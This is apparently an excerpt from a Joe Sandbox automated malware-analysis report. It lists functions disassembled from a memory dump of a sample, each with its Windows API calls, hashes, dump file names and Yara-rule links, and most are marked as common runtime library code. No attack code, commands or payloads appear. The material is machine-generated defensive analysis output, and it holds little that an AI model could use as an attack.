Instruction Fuzzy Hash: 0B11EC326017069BD71ABF24DC46ABA73ECEF04310B1040BAF901DB141DB34ED448750

Function 00385ED9 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00385B76,00000000,00000000,?), ref: 00385F05

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1c696b29bbef0a188baa418c0e135eed98ab61772c4527dc5cb42796c0f8a990
Instruction ID: 55c497e6ce45a8945461f322e3b2e918875d60af12b14d2f2220f1023e7884c9
Opcode Fuzzy Hash: 1c696b29bbef0a188baa418c0e135eed98ab61772c4527dc5cb42796c0f8a990
Instruction Fuzzy Hash: 1701D632A08712EBDB296A258C06BBA3759DB40755F1644A9EE42A7180EA70FE41C7D0

Function 00385BAD Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

EnumSystemLocalesW.KERNEL32(00385C0C,00000001,?,?,-00000050,?,00385712,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00385BF7

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e68d352c5ed5d9139d94da030b1550a07c80ad1e1c8a2d61581733fd2b93fd10
Instruction ID: 410e8210c5e4222c4b4cf823db4b9c1ea503f9901fcc8c414586ab38dc5a51a3
Opcode Fuzzy Hash: e68d352c5ed5d9139d94da030b1550a07c80ad1e1c8a2d61581733fd2b93fd10
Instruction Fuzzy Hash: 76F0F6363047045FDB2A6F39D881A7ABB95EF81768F1684ADF9458B680D6B1AC01CB50

Function 003816A7 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0037D047: EnterCriticalSection.KERNEL32(?,?,0037A841,00000000,0039B3D8,0000000C,0037A7FA,00001000,?,003817CA,00001000,?,003808B1,00000001,00000364,?), ref: 0037D056

EnumSystemLocalesW.KERNEL32(0038169A,00000001,0039B7F0,0000000C,003810A8,-00000050), ref: 003816DF

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 84b876734eacef031e17aa38c1eb2d9d63ff4170c9ff68da385c9cc27ad80a97
Instruction ID: 338470c361236a6b0bf598a0b4e46d161601d48e3ae0284b79c8b3504b543d15
Opcode Fuzzy Hash: 84b876734eacef031e17aa38c1eb2d9d63ff4170c9ff68da385c9cc27ad80a97
Instruction Fuzzy Hash: 96F0493AA00204DFD722EF98E806B9DB7F8EB45721F00826AF414DB3A1D77A9900CF50

Function 00385CE1 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

EnumSystemLocalesW.KERNEL32(00385D2C,00000001,?,?,?,0038576C,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00385D18

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 795ac47ab440b7ab9ef2004eef814e66014a1d4ad0f564e55e4d5d5b924f988e
Instruction ID: 51c0aebcab91baa8cc2f6b6f70c7b21ae1f02a47811481f3593a942a38191610
Opcode Fuzzy Hash: 795ac47ab440b7ab9ef2004eef814e66014a1d4ad0f564e55e4d5d5b924f988e
Instruction Fuzzy Hash: E2F0E53A30070957CB16AF35D85966ABFA4EFC2710B074099EE058B290C6B1A846CB90

Function 003811AC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0037BDA3,?,20001004,00000000,00000002,?,?,0037ACB5), ref: 003811E0

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a3b39442cbbb238531092bfab37a9bbdc659830500c0e8b9bae07499b5351f2f
Instruction ID: 779e1d888fdc582e6cb63081c9798daba10d942ac4a5ceed6a8ad8e1604503e7
Opcode Fuzzy Hash: a3b39442cbbb238531092bfab37a9bbdc659830500c0e8b9bae07499b5351f2f
Instruction Fuzzy Hash: FBE04F31500618BBCF233F61EC08A9E3F2EEF44760F014151FD0665120CB728A22ABD1

Function 00374067 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00014188), ref: 0037406C

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: cb1ffeea5b64431d3c923d3000556f12ba1eeca2125f493f51d57f70d74e7d9b
Instruction ID: 06e89681db2f5e60051a41c66158b0be7359beec967ad04e39f1508722f90633
Opcode Fuzzy Hash: cb1ffeea5b64431d3c923d3000556f12ba1eeca2125f493f51d57f70d74e7d9b
Instruction Fuzzy Hash:

Function 00381DBC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00381DBC

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ad8111bb70b6f2147b1d072b7aa074803f00d40c6073c0f9d585694ddf991f48
Instruction ID: 446a48d91bc9b7db0ea58214360a540bbe930376287ddfadb70371c20538f29b
Opcode Fuzzy Hash: ad8111bb70b6f2147b1d072b7aa074803f00d40c6073c0f9d585694ddf991f48
Instruction Fuzzy Hash: C8A00170601601CFD7428F3AAA496093AADAA4A791B4A816AA459C5164EA268494AF82

Function 0038EDF2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0150FBE0,0150FBE0,00000000,7FFFFFFF,?,0038EDDD,0150FBE0,0150FBE0,00000000,0150FBE0,?,?,?,?,0150FBE0,00000000), ref: 0038EE98
__alloca_probe_16.LIBCMT ref: 0038EF53
__alloca_probe_16.LIBCMT ref: 0038EFE2
__freea.LIBCMT ref: 0038F02D
__freea.LIBCMT ref: 0038F033
__freea.LIBCMT ref: 0038F069
__freea.LIBCMT ref: 0038F06F
__freea.LIBCMT ref: 0038F07F

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: b2d861ceda3ecccfc1293bdc00af987b27e82558999fe61127d571aceb215233
Instruction ID: 490c950fdb73ad1aee07e93b4ab66fc9ceff8248bd2893bae76cc9f650e71698
Opcode Fuzzy Hash: b2d861ceda3ecccfc1293bdc00af987b27e82558999fe61127d571aceb215233
Instruction Fuzzy Hash: 6471C8B2904309AFDF33BEA48C41BAF77B9AF45350F1A41E5F904AB282D7759C418761

Function 003745A9 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 003745F0
__alloca_probe_16.LIBCMT ref: 0037461C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0037465B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00374678
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 003746B7
__alloca_probe_16.LIBCMT ref: 003746D4
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00374716
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00374739

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: f7cb99bb1693f88c696c67cf24dee86c8a7c1a6493507d9349fe5bd5b6e7a33e
Instruction ID: 1ea3068dd2257b48447434e204891f759213555cec3eb1fb61323c7226efcaa5
Opcode Fuzzy Hash: f7cb99bb1693f88c696c67cf24dee86c8a7c1a6493507d9349fe5bd5b6e7a33e
Instruction Fuzzy Hash: 3651E272600246AFEF364F64CC45FAB7BA9EF45740F168129F929EA190D738ED00CB60

Function 00383332 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003833B8

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction ID: 8254fc7ede93cdc816d746c9c412325d3b4edd1fdadb5dae9fdbd79bbdcd505c
Opcode Fuzzy Hash: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction Fuzzy Hash: 4DB17772A01355AFDB17AF68CC81BAE7BA5EF56B10F1541E5E804AF382D274DB01C7A0

Function 0037FB24 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0037FC43
CallUnexpected.LIBVCRUNTIME ref: 0037FEBC

Strings

csm, xrefs: 0037FBCE
`#9, xrefs: 0037FC3A
csm, xrefs: 0037FC7A
csm, xrefs: 0037FB61

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: `#9$csm$csm$csm
API String ID: 2673424686-492565039
Opcode ID: 0940ef2abba5241a25e4feb2d148dbeb91bbffa00c726e9931527c4366cb6d8a
Instruction ID: 0ef0c3ada1fc9d50432e95d1905feb6229ffa2009896f1d3177da6d54d8bae8a
Opcode Fuzzy Hash: 0940ef2abba5241a25e4feb2d148dbeb91bbffa00c726e9931527c4366cb6d8a
Instruction Fuzzy Hash: 74B17E75800209EFCF36DFA4C8819AEB7B5FF04310F11856AF8196B616D739DA51CBA1

Function 00375440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00375477
___except_validate_context_record.LIBVCRUNTIME ref: 0037547F
_ValidateLocalCookies.LIBCMT ref: 00375508
__IsNonwritableInCurrentImage.LIBCMT ref: 00375533
_ValidateLocalCookies.LIBCMT ref: 00375588

Strings

csm, xrefs: 0037551D

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d7b2a1579fc8b038a816ba1a224370d610d2197cf3e47dfc26425c17dab89f13
Instruction ID: eea91f71214cb33bd45f4a33df487dcf433d41f277f5c2646413b9b898f7cd99
Opcode Fuzzy Hash: d7b2a1579fc8b038a816ba1a224370d610d2197cf3e47dfc26425c17dab89f13
Instruction Fuzzy Hash: 1B41F330A006089BCF2AEF69C884A9E7BB6AF05324F14C195E91D6F352D7B5DE45CF90

Function 0037388E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003738A2
AcquireSRWLockExclusive.KERNEL32(?,?,?,0037386B,?,00000000,?,0036B20C,?,?,0036D57E), ref: 003738C1
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0037386B,?,00000000,?,0036B20C,?,?,0036D57E), ref: 003738EF
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0037386B,?,00000000,?,0036B20C,?,?,0036D57E), ref: 0037394A
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0037386B,?,00000000,?,0036B20C,?,?,0036D57E), ref: 00373961

Strings

k87, xrefs: 0037390F, 00373912

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: k87
API String ID: 66001078-350348327
Opcode ID: 4eee5328e29a8997b94184188c29c31a8f7d0e0aac3ebb1f1753d30eef60f645
Instruction ID: ca34eab4a712d8afe08bda4e34832b46c88456c15e7f36790cef09f6232843ea
Opcode Fuzzy Hash: 4eee5328e29a8997b94184188c29c31a8f7d0e0aac3ebb1f1753d30eef60f645
Instruction Fuzzy Hash: C2416F31504A06DFCB32DF65C480BA9F3F8FF4A310B518A1AE64AD7540E778EA45EB51

Function 003813F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB0EE090,?,00381508,003631F2,?,00000000,?), ref: 003814BA

Strings

ext-ms-, xrefs: 00381464
api-ms-, xrefs: 00381450

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9170e09c8bdd91376c84b7ae4416657c331f3746575bba14eb3f0634fbef3193
Instruction ID: 6ce23a82e104f594d1dd5a8c123a35e1d6ab3239994083963100092b6d2c1534
Opcode Fuzzy Hash: 9170e09c8bdd91376c84b7ae4416657c331f3746575bba14eb3f0634fbef3193
Instruction Fuzzy Hash: 1E212731A01311ABDB23AB66EC45A5A377C9B42374F370291E806E72D1E731ED02C7D0

Function 003747BB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 003747C1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 003747CF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003747E0

Strings

GetTempPath2W, xrefs: 003747D5
GetSystemTimePreciseAsFileTime, xrefs: 003747C9
kernel32.dll, xrefs: 003747BC

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 2d1cdfa811a9fc0fe9a79996e70e895e25a05898a06a086c5802df3fd6450e62
Instruction ID: 0f52050422cccb7b90a2c88cfba0ce81d01725c9253c1f921ad4cf010e736645
Opcode Fuzzy Hash: 2d1cdfa811a9fc0fe9a79996e70e895e25a05898a06a086c5802df3fd6450e62
Instruction Fuzzy Hash: 8AD05E31625610AF8B039B70BC4D8853ABCAB073017020153F840D21A0EB7508008A96

Function 00388F96 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642c75c03e6f90b0dc4662d7d047a2a4bff8435d94539461937e880ed4be1f6f
